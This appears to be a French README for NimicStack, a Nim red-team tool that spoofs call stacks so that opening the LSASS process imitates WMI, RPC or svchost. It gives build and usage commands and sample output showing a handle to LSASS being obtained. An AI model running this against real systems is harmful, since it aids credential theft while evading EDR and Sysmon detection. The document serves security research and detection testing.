
NimicStack est l'implémentation pure en Nim de la technique de Call Stack Spoofing visant à imiter des programmes légitimes.
NimicStack est l'implémentation pure en Nim de la technique de spoofing de pile d'appels (Call Stack Spoofing) visant à imiter des programmes légitimes. L'ensemble du projet est basé sur le PoC partagé par WithSecure Labs
Vous pouvez compiler directement le code source avec la commande suivante :
nim c -d=mingw --app=console --cpu=amd64 -o:NimicStack.exe .\Main.nim
Si vous obtenez l'erreur « cannot open file », vous devez également installer les dépendances requises :
nimble install ptr_math winim
Comme le projet de référence, NimicStack peut imiter trois exemples de piles d'appels : WMI, RPC et Svchost, lors de l'ouverture du processus LSASS.
.\NimicStack.exe <--wmi, --rpc, --svchost>
Exemple de sortie pour une pile d'appels WMI imitée :
███╗ ██╗██╗███╗ ███╗██╗ ██████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
████╗ ██║██║████╗ ████║██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██╔██╗ ██║██║██╔████╔██║██║██║ ███████╗ ██║ ███████║██║ █████╔╝
██║╚██╗██║██║██║╚██╔╝██║██║██║ ╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ╚████║██║██║ ╚═╝ ██║██║╚██████╗███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
@R0h1rr1m
[+] wmi frame is selected!
[+] Required libraries were imported for return address calculation!
[+] SeDebugPrivilege is enabled!
[+] Fake Call Stack was created!
[+] Trying to find LSASS pid...
[+] LSASS pid found!: 756
[+] Registers were set for NtOpenProcess call!
[+] VEH callback was set for the suspended thread!
[+] Thread is resuming...
[+] VEH callback was called!
[+] Redirecting thread to RtlExitUserThread...
[+] Spoof is successful! Handle is 356
[+] You can check the spoofed call stack from Sysmon!
Et la sortie Sysmon pour cet appel :

Réservé aux tests de sécurité autorisés. Toute utilisation abusive de cet outil contre des systèmes sans autorisation explicite est illégale.